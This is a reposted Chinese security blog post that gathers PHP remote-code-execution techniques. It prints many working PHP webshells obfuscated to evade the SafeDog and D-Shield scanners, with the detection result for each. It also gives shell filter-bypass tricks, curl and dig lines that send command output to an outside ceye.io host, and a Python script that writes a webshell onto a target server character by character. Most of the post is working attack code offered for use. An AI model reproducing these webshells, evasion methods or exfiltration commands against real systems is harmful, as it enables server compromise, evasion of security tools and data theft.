1

PHP下的RCE总结

 2 years ago
source link: https://www.anquanke.com/post/id/261910
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

为啥加了PHP的前缀,因为Java和PHP从运行机制上讲就不是有任何相同点的东西;无论是从编程还是免杀还是代码审计….

更何况Java安全近期才兴起,资料也极度匮乏

扯远了,本笔记就综合一下各大佬的笔记再加上自己的干货~梳理一下PHP命令执行的相关知识

记得区分一下:

  1. 通过代码执行漏洞来调用能执行系统命令的函数。
  2. 通过命令执行漏洞直接执行命令。

Apache安装(如果你不用PHPStudy的话)

官网去下载,我下的时候是最新版的2.4

然后记得去主目录/conf/httpd.conf修改下配置文件,修改为你的Apache主目录

可以到主目录/bin下执行httpd命令,测试配置文件是否合法

httpd -t

没问题的话就可以开始安装Apache服务了;n参数后面代表你自定义的服务名称,你随意

这种安装服务类基本都需要管理员权限;嫌弃麻烦可以自己建一个,用管理员权限执行cmd命令net user administrator /active:yes

然后再登陆就发现多了个管理员用户啦

httpd -k install -n Apache2.4

安装成功后,再开启Apache服务,访问http://localhost出现下图就OK啦

httpd -k start  #启动
httpd -k stop   #停止
sc delete Apache2.4 #卸载

然而后面基本都采用PHPStudy 2018的集成环境,方便(新版的设置功能差了很多,不用)

安全狗与D盾安装

安全狗Apache版 V4.0.28330,下载地址

安全狗安装稍微特殊一点;首先PHPstudy的网络服务都关掉,然后到PHPstudy的Apache目录下,把Apache服务安装到系统:

httpd -k install -n Apache2.4
httpd -k start

和下图一样就好啦!服务里面有Apache2.4,且开启服务没问题,PHPstudy2018里面也是绿点就OK:smile:

然后就可以一路顺畅安装啦~安装完记得有几个选项要关掉:

云安全计划

D盾V2.1.5.4,下载地址;没啥特别的,EXE就能用

系统命令执行函数

exec()

string exec ( string $command [, array &$output [, int &$return_var ]] )

$command是要执行的命令

$output是获得执行命令输出的每一行字符串,$return_var用来保存命令执行的状态码(检测成功或失败)

执行无回显,默认返回最后一行结果

system()

string system ( string $command [, int &$return_var ] )

$command为执行的命令,&return_var可选,用来存放命令执行后的状态码

执行有回显,将执行结果输出到页面上

<?php
    system("whoami");
?>

passthru()

void passthru ( string $command [, int &$return_var ] )

system函数类似,$command为执行的命令,&return_var可选,用来存放命令执行后的状态码

执行有回显,将执行结果输出到页面上

<?php
    passthru("whoami");
?>

shell_exec()

string shell_exec( string &command)

&command是要执行的命令

函数默认无回显,通过 echo 可将执行结果输出到页面

<?php    echo shell_exec("whoami");?>

反引号 `

shell_exec() 函数实际上是反引号的变体,当禁用shell_exec时,也不可执行

在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回

<?php    echo `whoami`;?>

popen()

resource popen ( string $command , string $mode )

函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有rw代表读和写。

函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。

popen()打开一个指向进程的管道,该进程由派生给定的$command命令执行而产生。返回一个和fopen()函数所返回的类似文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。此指针可以用于fgets()fgetss()fwrite()

<?php popen( 'whoami >> 1.txt', 'r' ); ?>

proc_open()

resource proc_open ( 
string $cmd , 
array $descriptorspec , 
array &$pipes [, string $cwd [, array $env [, array $other_options ]]] 
)
<?php  
$test = "ipconfig";  
$array =   array(  
 array("pipe","r"),   //标准输入 
 array("pipe","w"),   //标准输出内容 
 array("pipe","w")    //标准输出错误 
 );  

$fp = proc_open($test,$array,$pipes);   //打开一个进程通道 
echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是输出内容 stream_get_contents — 读取资源流到一个字符串
proc_close($fp);  
?>

pcntl_exec

void pcntl_exec( string $path[, array $args[, array $envs]] )

pcntl是php的多进程处理扩展,在处理大量任务的情况下会使用到,pcntl需要额外安装。

\$path为可执行程序路径 (/bin/bash)

\$args表示传递给$path程序的参数; 例如pcntl_exec(“/bin/bash” , array(“whoami”));

ob_start

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。

可选参数 $output_callback如果被指定。当输出缓冲区被( ob_flush(), ob_clean() 或者相似的函数)送出、清洗的时候;或者在请求结束之际该回调函数将会被调用。

当调用时,输出缓冲区的内容会被当做参数去执行,并返回一个新的输出缓冲区作为结果,并被送到浏览器。

<?php$cmd = 'system’; ob_start($cmd); echo "$_GET[a]"; ob_end_flush();

简单的说,以上代码中当运行ob_end_flush()后,$_GET[a]会被system()函数当作参数去运行,并返回运行的结果

代码执行函数

Eval和Assert

eval() 不能作为函数名动态执行代码,官方说明如下:eval 是一个语言构造器而不是一个函数,不能被可变函数调用。

可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号 (),让系统认为该值是一个函数,从而当做函数来执行。比如 assert 可这样用:

$f='assert';$f(...);#未过D盾

此时 $f 就表示 assert,所以 assert 关键词更加灵活;

但是 PHP7 中,assert 也不再是函数了,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码.

字符串变形

下面都将使用PHP5版本,方便用assert函数做演示

substr()

substr(string,start,length)

substr() 函数返回字符串的一部分

参数 描述

string 必需。规定要返回其中一部分的字符串。

start 必需。规定在字符串的何处开始。正数 – 在字符串的指定位置开始; 负数 – 在从字符串结尾开始的指定位置开始; 0 – 在字符串中的第一个字符处开始

length 可选。规定被返回字符串的长度。默认是直到字符串的结尾。正数 – 从 start 参数所在的位置返回的长度; 负数 – 从字符串末端返回的长度

首先我们来一个基础的字符串拼接:

<?php 
    $a = 'a'.'s'.'s'.'e'.'r'.'t';
    $a($_POST['x']); 
?>

安全狗 D盾

1 个安全风险 assert 变量函数 级别 5 变量函数后门

此时我们使用 substr() 函数稍微截断一下:

<?php 
    $a = substr('1a',1).'s'.'s'.'e'.'r'.'t';
    $a($_POST['x']);
?>

安全狗 D盾

0 个安全风险 级别 4变量函数后门(assert)

strtr()

strtr(string,from,to)

strtr() 函数转换字符串中特定的字符。

参数 描述

string 必需。规定要转换的字符串。

from 必需(除非使用数组)。规定要改变的字符。

to 必需(除非使用数组)。规定要改变为的字符。

array 必需(除非使用 fromto)。数组,其中的键名是更改的原始字符,键值是更改的目标字符。

依然对字符串进行简单地处理一下:

<?php     $a = strtr('azxcvt','zxcv','sser');    $a($_POST['x']);?>

此时就已经过掉安全狗了,D 盾检测级别降到了 1 级,检测结果如下:

安全狗 D盾

0 个安全风险 级别 1 可疑变量函数

substr_replace()

substr_replace(string,replacement,start,length)

substr_replace() 函数把字符串 string 的一部分替换为另一个字符串 replacement。

参数 描述

string 必需。规定要检查的字符串。

replacement 必需。规定要插入的字符串。

start 必需。规定在字符串的何处开始替换。正数 – 在字符串中的指定位置开始替换; 负数 – 在从字符串结尾的指定位置开始替换; 0 – 在字符串中的第一个字符处开始替换

length 可选。规定要替换多少个字符。默认是与字符串长度相同。正数 – 被替换的字符串长度; 负数 – 表示待替换的子字符串结尾处距离 string 末端的字符个数。0 – 插入而非替换

<?php     $a = substr_replace("asxxx","sert",2);    $a($_POST['x']);?>

安全狗 D盾

0 个安全风险 级别 1 (可疑)变量函数

trim()

trim(string,charlist)

trim() 函数移除字符串两侧的空白字符或其他预定义字符。

参数 描述

string 必需。规定要检查的字符串。

charlist 可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符 \0 – NULL; \t – 制表符; \n – 换行; \x0B – 垂直制表符; \r – 回车; 空格

<?php 
    $a = trim(' assert ');
    $a($_POST['x']);
?>

安全狗 D盾

0 个安全风险 级别 4 变量函数后门

函数可以把敏感关键词当做参数传递。

<?php 
    function sqlsec($a){
        $a($_POST['x']);
    }
    sqlsec(assert);
?>

安全狗 D盾

1 个安全风险 assert变量函数 级别 2 变量函数后门

但是换一种方式将$_POST['x']当做参数传递的话就都翻车了:

<?php     function sqlsec($a){        assert($a);    }    sqlsec($_POST['x']);?>

安全狗 D盾

1 个安全风险 assert PHP一句话后门 已知后门

常⽤的回调函数⼤部分都无法绕过 WAF 了。

call_user_func()

call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

<?php    call_user_func('assert',$_POST['x']);?>

安全狗 D盾

1 个安全风险 call_user_func后门 级别 5 (内藏) call_user_func后门

call_user_func_array()

call_user_func_array ( callable $callback , array $param_arr )

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

<?php
    call_user_func_array(assert,array($_POST['x']));
?>

不过安全狗和 D 盾都对这个函数进行检测了:

安全狗 D盾

1 个安全风险 call_user_func_array回调后门 级别 4 call_user_func_array

array_filter()

array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。

如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中,数组的键名保留不变。

<?php
    array_filter(array($_POST['x']),'assert');
?>

依然无法 Bypass

安全狗 D盾

1 个安全风险 array_filter后门 级别 5 array_filter后门

assert 手动 Base64 编码后传入,这样还会把 assert 关键词给去掉了:

<?php
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass'],);
    array_filter($arr, base64_decode($e));
?>

安全狗 D盾

1 个安全风险 array_filter后门 级别 4 array_filter 参数

array_map()

array_map(myfunction,array1,array2,array3...)

参数 描述

myfunction 必需。用户自定义函数的名称,或者是 null。

array1 必需。规定数组。

array2 可选。规定数组。

array3 可选。规定数组。

array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。和 arrray_walk() 函数差不多:

<?php    $e = $_REQUEST['e'];    $arr = array($_POST['pass'],);    array_map(base64_decode($e), $arr);?>    # payload  e=YXNzZXJ0&pass=system('dir');

依然被杀了,检测结果如下:

安全狗 D盾

1 个安全风险 array_map执行 级别 5 已知后门

array_walk()

array_walk(array,myfunction,parameter...)

array_walk() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。

参数 描述

array 必需。规定数组。

myfunction 必需。用户自定义函数的名称。

userdata,… 可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。

简单案例:

<?phpfunction myfunction($value,$key){    echo "The key $key has the value $value<br>";}$a=array("a"=>"red","b"=>"green","c"=>"blue");array_walk($a,"myfunction");?>

运行结果如下:

The key a has the value red
The key b has the value green
The key c has the value blue

根据这个特性手动来写一个 webshell 试试看:

<?php
    function sqlsec($value,$key)
    {   
        $x = $key.$value;
        $x($_POST['x']);
    }
    $a=array("ass"=>"ert");
    array_walk($a,"sqlsec");
?>

这个 array_walk 有点复杂,这里用的是回调函数和自定义函数结合的姿势了。

安全狗 D盾

0 个安全风险 级别 2 (可疑)变量函数

看了下网上其他姿势:

<?php 
  $e = $_REQUEST['e'];
  $arr = array($_POST['x'] => '|.*|e',);
    array_walk($arr, $e, '');
?>

此时提交如下 payload 的话:

shell.php?e=preg_replace

最后就相当于执行了如下语句:

preg_replace('|.*|e',$_POST['x'],'')

这个时候只需要 POST x=phpinfo(); 即可。这种主要是利用了 preg_replace 的 /e 模式进行代码执行。

不过这种方法已经凉了,安全狗和 D 盾均可以识别,而且这种 preg_replace 三参数后门的 /e模式 PHP5.5 以后就废弃了:

安全狗 D盾

1 个安全风险 array_walk执行 级别 5 已知后门

不过 PHP 止中不止 preg_replace 函数可以执行 eval 的功能,还有下面几个类似的:

mb_ereg_replace

mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = "msr" ] ) : string

类似于 preg_replace 函数一样,也可以通过 e 修饰符来执行命令:

<?php     mb_ereg_replace('\d', $_REQUEST['x'], '1', 'e');?>

preg_filter

mixed preg_filter ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

preg_filter() 等价于 preg_replace() ,但它仅仅返回与目标匹配的结果。

<?php     preg_filter('|\d|e', $_REQUEST['x'], '2');?>

只是比较可惜,都无法过狗和D盾了。不过问题不大,感兴趣小伙伴可以去查阅 PHP 官方文档,还是可以找到类似函数的,可以过狗和D盾

<?php     mb_eregi_replace('\d', $_REQUEST['x'], '1', 'e');?>

array_walk_recursive()

array_walk_recursive(array,myfunction,parameter...)

array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。该函数与 array_walk()函数的不同在于可以操作更深的数组(一个数组中包含另一个数组)。

参数 描述

array 必需。规定数组。

myfunction 必需。用户自定义函数的名称。

userdata,… 可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。

<?php
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass'] => '|.*|e',);
    array_walk_recursive($arr, $e, '');
?>

安全狗 D盾

1 个安全风险 php后门回调木马 级别 5 已知后门

array_reduce()

array_reduce(array,myfunction,initial)

array_reduce() 函数向用户自定义函数发送数组中的值,并返回一个字符串。

参数 描述

array 必需。规定数组。

myfunction 必需。规定函数的名称。

initial 可选。规定发送到函数的初始值。

<?php
    $e = $_REQUEST['e'];
    $arr = array(1);
    array_reduce($arr, $e, $_POST['x']);
?>

<?php
    function sqlsec($value,$key)
    {   
        $x = $key.$value;
        print_r($x);
        $x($_POST['x']);
    }
    $a=array("assert");
    array_reduce($a,"sqlsec");
?>

POST 提交如下数据:e=assert&x=phpinfo(); 但是目前已经无法过狗了。

安全狗 D盾

1 个安全风险 array_reduce执行 级别 5 已知后门

array_udiff()

array_diff(array1,array2,myfunction...);

array_diff() 函数返回两个数组的差集数组。该数组包括了所有在被比较的数组中,但是不在任何其他参数数组中的键值。在返回的数组中,键名保持不变。

参数 描述

array1 必需。与其他数组进行比较的第一个数组。

array2 必需。与第一个数组进行比较的数组。

myfunction 回调对照函数。

<?php    $e = $_REQUEST['e'];    $arr = array($_POST['x']);    $arr2 = array(1);    array_udiff($arr, $arr2, $e);?>

POST 提交如下数据:e=assert&x=phpinfo(); 但是目前已经无法过狗。

安全狗 D盾

1 个安全风险 php后门回调木马 级别 5 已知后门

uasort()

uasort(array,myfunction);

uasort() 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。如果成功则返回 TRUE,否则返回 FALSE。该函数主要用于对那些单元顺序很重要的结合数组进行排序。

参数 描述

array 必需。规定要进行排序的数组。

myfunction 可选。定义可调用比较函数的字符串。如果第一个参数小于等于或大于第二个参数,那么比较函数必须返回一个小于等于或大于 0 的整数。

<?php
    $e = $_REQUEST['e'];
    $arr = array('test', $_REQUEST['x']);
    uasort($arr, base64_decode($e));
?>

POST 提交的数据如下:e=YXNzZXJ0&x=phpinfo(); 这个后门在 PHP 5.3之后可以正常运行,5.3 会提示 assert 只能有1个参数,这是因为 assert 多参数是后面才开始新增的内容,PHP 5.4.8 及更高版本的用户也可以提供第四个可选参数,如果设置了,用于将 description 指定到 assert()

安全狗 D盾

1 个安全风险 PHP回调木马 级别 4 uasort 参数

uksort()

uksort(array,myfunction);

uksort() 函数通过用户自定义的比较函数对数组按键名进行排序。

参数 描述

array 必需。规定要进行排序的数组。

myfunction 可选。定义可调用比较函数的字符串。如果第一个参数小于等于或大于第二个参数,那么比较函数必须返回一个小于等于或大于 0 的整数。

<?php    $e = $_REQUEST['e'];    $arr = array('test' => 1, $_REQUEST['x'] => 2);    uksort($arr, $e);?>

POST 的内容如下:e=assert&x=phpinfo(); 该方法也不能 Bypass 安全狗了:

安全狗 D盾

1 个安全风险 php后门回调木马 级别 5 已知后门

registregister_shutdown_function()

register_shutdown_function ( callable $callback [, mixed $... ] ) : void

注册一个 callback ,它会在脚本执行完成或者 exit() 后被调用。

<?php
    $e = $_REQUEST['e'];
    register_shutdown_function($e, $_REQUEST['x']);
?>

安全狗 D盾

1 个安全风险 php后门回调木马 级别 5 已知后门

register_tick_function()

register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool

注册在调用记号时要执行的给定函数。

<?php
    $e = $_REQUEST['e'];
    declare(ticks=1);
    register_tick_function ($e, $_REQUEST['x']);
?>
    #上面程序中“declare(ticks=1);”代表,每执行一条低级语句,就触发register_tick_function中注册的函数

安全狗 D盾

1 个安全风险 php后门回调木马 级别 5 已知后门

filter_var()

filter_var(variable, filter, options)

filter_var() 函数通过指定的过滤器过滤变量。

参数 描述

variable 必需。规定要过滤的变量。

filter 可选。规定要使用的过滤器的 ID。

options 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。

<?php
    filter_var($_REQUEST['x'], FILTER_CALLBACK, array('options' => 'assert'));
?>

安全狗 D盾

1 个安全风险 php后门回调木马 级别 5 已知后门

filter_var_array()

filter_var_array(array, args)

filter_var_array() 函数获取多项变量,并进行过滤。

参数 描述

array 必需。规定带有字符串键的数组,包含要过滤的数据。

args 可选。规定过滤器参数数组。合法的数组键是变量名。合法的值是过滤器 ID,或者规定过滤器、标志以及选项的数组。该参数也可以是一个单独的过滤器 ID,如果是这样,输入数组中的所有值由指定过滤器进行过滤。

<?php
    filter_var_array(array('test' => $_REQUEST['x']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
?>

安全狗 D盾

0级 级别 5 已知后门

P 神的文章 一些不包含数字和字母的webshell 里面提到了三种异或的姿势;但目前只有第一种方法可以过狗

所以只重点来看一下第一种姿势,也就是异或

国光师傅写好了一个脚本,除了字母以外的ASCII字符任意异或,能得到字母的就输出

import string 
from urllib.parse import quote
keys = list(range(65)) + list(range(91,97)) + list(range(123,127)) 
results = [] 
for i in keys: 
    for j in keys: 
        asscii_number = i^j 
        if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122): 
            if i < 32 and j < 32: 
                temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
                results.append(temp) 
            elif i < 32 and j >=32: 
                temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
                results.append(temp) 
            elif i >= 32 and j < 32: 
                temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
                results.append(temp) 
            else: 
                temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
                results.append(temp) 
results.sort(key=lambda x:x[1], reverse=False) 
for low_case in string.ascii_lowercase: 
    for result in results: 
        if low_case in result: 
            print(result[0]) 
for upper_case in string.ascii_uppercase: 
    for result in results: 
        if upper_case in result: 
            print(result[0])

然后执行命令,就能看见各种排列组合

python3 try.py > Result.txt

根据这个受了启发,GitHub上写了个混淆脚本

PHP7免杀脚本制作

eval和assert都变成了语言结构,无法成为可变函数了….所以PHP7开始免杀资料就销声匿迹了-=-

故而PHP7常用的技术重点不在隐藏函数名(也没必要,已经藏不了了)

PHP7支持(可变函数名)(参数)这样的用法

<?php
    $a='system';
    ($a)($_REQUEST['cmd']);
?>

我已经自写了个工具,项目见GitHub

命令执行绕过

Linux下一些命令操作符的科普

  1. cmd1 | cmd2 (|管道操作符)将cmd1的结果输出给cmd2
  2. cmd1 & cmd2 (&和号操作符)让命令在后台运行
  3. cmd1 ; cmd2 (; 分号操作符)执行多条命令
  4. cmd1 && cmd2 (&& 与操作符)只有cmd1命令执行成功后,才会执行cmd2
  5. cmd1 || cmd2 (|| 或操作符)cmd1执行失败,才会执行cmd2

空格绕过

字符串拼接

IFS(内部域分隔),是Shell的内置变量,是一个用于分割字段的字符列表,默认值是空白(包括空格、tab、换行)

可以有以下变形:

cat$IFS$数字a.txtcat${IFS}a.txtcat$IFS'a.txt'

使用{}

例如{cat,a.txt}

使用Tab,PHP环境下可用

cat%09/etc/passwd

在读取文件的时候利用重定向符<>

cat<>text cat<text

黑名单关键字绕过

字符串拼接

a=c;b=at;c=a;d=txt;$a$b $c.$da=c;b=at;c=a;d=txt;$a$b ${c}.${d}

利用环境变量取值

echo ${SHELLOPTS}braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitorecho ${SHELLOPTS:3:1}c${SHELLOPTS:3:1}at a.txtHello!

使用空变量

c${z}at a.txt

利用通配符

/bin/ca? a*Hello!

这里要注意,你使用的命令补全时会不会存在歧义,比如ca补全时,三个字母的有calcat两种

cal的路径和cat的路径完全不一样,这也是这里为什么要指定路径的缘故

使用反斜杠

\ 在bash中被解释为转义字符,用于去除一个单个字符的特殊意义;它保留了跟随在之后的字符的字面值,除了换行符。

如果在反斜线之后出现换行字符,转义字符使行得以继续。

wzf@wzf-virtual-machine:~$ ca\> t a.txtHello!wzf@wzf-virtual-machine:~$ ca\t a.txtHello!

Base64编码

wzf@wzf-virtual-machine:~$ echo at | base64YXQKwzf@wzf-virtual-machine:~$ c$(echo YXQK | base64 -d) a.txtHello!

其他占位符

其实核心都是为了占个位置罢了,下面这些都行的

wzf@wzf-virtual-machine:~$ c`echo a`t a.txtHello!wzf@wzf-virtual-machine:~$ c``at a.txtHello!wzf@wzf-virtual-machine:~$ c''at a.txtHello!wzf@wzf-virtual-machine:~$ c""at a.txt Hello!wzf@wzf-virtual-machine:~$ c$(echo '')at a.txtHello!wzf@wzf-virtual-machine:~$ c`echo a`t a.txtHello!

无回显绕过

其实都大同小异,使用dnslog、ceye这类的外带网站或者BP Collaborator进行外带操作

dnslog适合一次性使用,无须注册;Ceye适合多次使用,需要注册。都是免费的~

PS:ceye是真的慢啊=.=

使用HTTP协议

curl 34kk35.ceye.io/`whoami`

或者加上编码也可

curl 34kk35.ceye.io/$(whoami | base64)

使用DNS

dig `whoami`.34kk35.ceye.io

后续用到的马

<?php    $cmd = $_POST['cmd'];    system($cmd);?>

如果没有特殊指出,基本上用到的马都是这个哦

其实一开始的想法就是把命令拆分然后发出去…顺带还能过WAF,所以一时兴起写了它

Linux下很简单就不写了,重点写个Windows;有一些DOS语法糖~看不懂的可以私信

#Windows下写马脚本,用以命令拆分~import requestsfrom loguru import loggersession=requests.Session()command=f'<?php eval($_GET[s]);?>'blacklist=['<','>','>>','@','[',']',';',':','(',')','$','&','|','&&','||','+','-','~','*','/','?']def run(chuan):  url = "http://192.168.85.142:80/"  headers = {    "Pragma": "no-cache",        "Cache-Control": "no-cache",     "Upgrade-Insecure-Requests": "1",     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36",     "Content-Type": "application/x-www-form-urlencoded",     "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",     "Accept-Encoding": "gzip, deflate",    "Accept-Language": "zh-CN,zh;q=0.9",     "Connection": "close"    }  data = {"cmd": chuan}  try:    res=session.post(url, headers=headers, data=data)    print(res.text)  except Exception as e:    logger.exception(e)def judge(c):    if c in blacklist:      run(f'set /p=^{c}<nul>>1')    else:      run(f'set /p={c}<nul>>1')for i in range(0,len(command)):  if i+1 != len(command) and command[i+1] == ' ':    judge(command[i]+command[i+1])  elif command[i] != ' ':    judge(command[i])  else:    continue

这样就能成功写进去了

当然,还是有几个缺点的:

  1. 由于命令行里面0~9单个数字是有特殊用处的,所以不能出现单个数字(两位及以上就正常了)
  2. 因为得按序写,无法使用多线程-=-如果命令相当长+网络环境不好得蛮久
  3. 黑名单是自己想了一些DOS特殊符号,并不是很全;大家有补充可以填进去

拆分思路扩展

一个CTF题学习代码执行拆分

比如有以下限制

<?php    $cmd = $_POST['cmd'];    if(strlen($cmd) < 长度){        eval($cmd);    }?>

长度要求小于17

可以这么嵌套用,刚好cmd的长度为16

按道理这里不需要eval,但是不加eval并不会执行…调试也没发现为什么

cmd=eval($_POST[1]);&1=system('dir c:\*');

长度要求小于15

可以直接改成GET方式

或者可以采取其他方式:如果是Linux下需要执行 echo \<?php eval($_GET[1]);?>>1

echo \<?php >1echo eval\(>>1echo \$_GET>>1echo \[1\]>>1echo \)\;?>>1

时间倒序写入

 >命令内容\\

来写入空文件,再将空文件目录按照时间顺序进行排列;再写入到命令集合文件a中

最后利用sh a 来执行a文件中的命令,来突破长度限制

有几个注意事项:

  • .为linux隐藏文件,不能作为文件开头
  • 我们需要按照时间顺序来排序最后的结果,ls默认以字母排序

我已经写好了一个脚本,放在了Github上~

https://github.com/Great-Wan/WebShell_Confuse_and_Command_Split

可以用它自动化完成这一操作

独特的免杀思路

PHP7后的免杀思路

较全的PHP5、PHP7免杀浅谈

国光的PHPWebshell免杀总结

Windows与Linux的Apache安装

P神的无字母数字WebShell

P神的无字母数字Webshell续

绕过小结

命令注入长度绕过CTF题

命令注入小结

还有一些博客在查阅资料时疏于记录,但同样给予了重大改进;在此表达真挚的感谢!


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK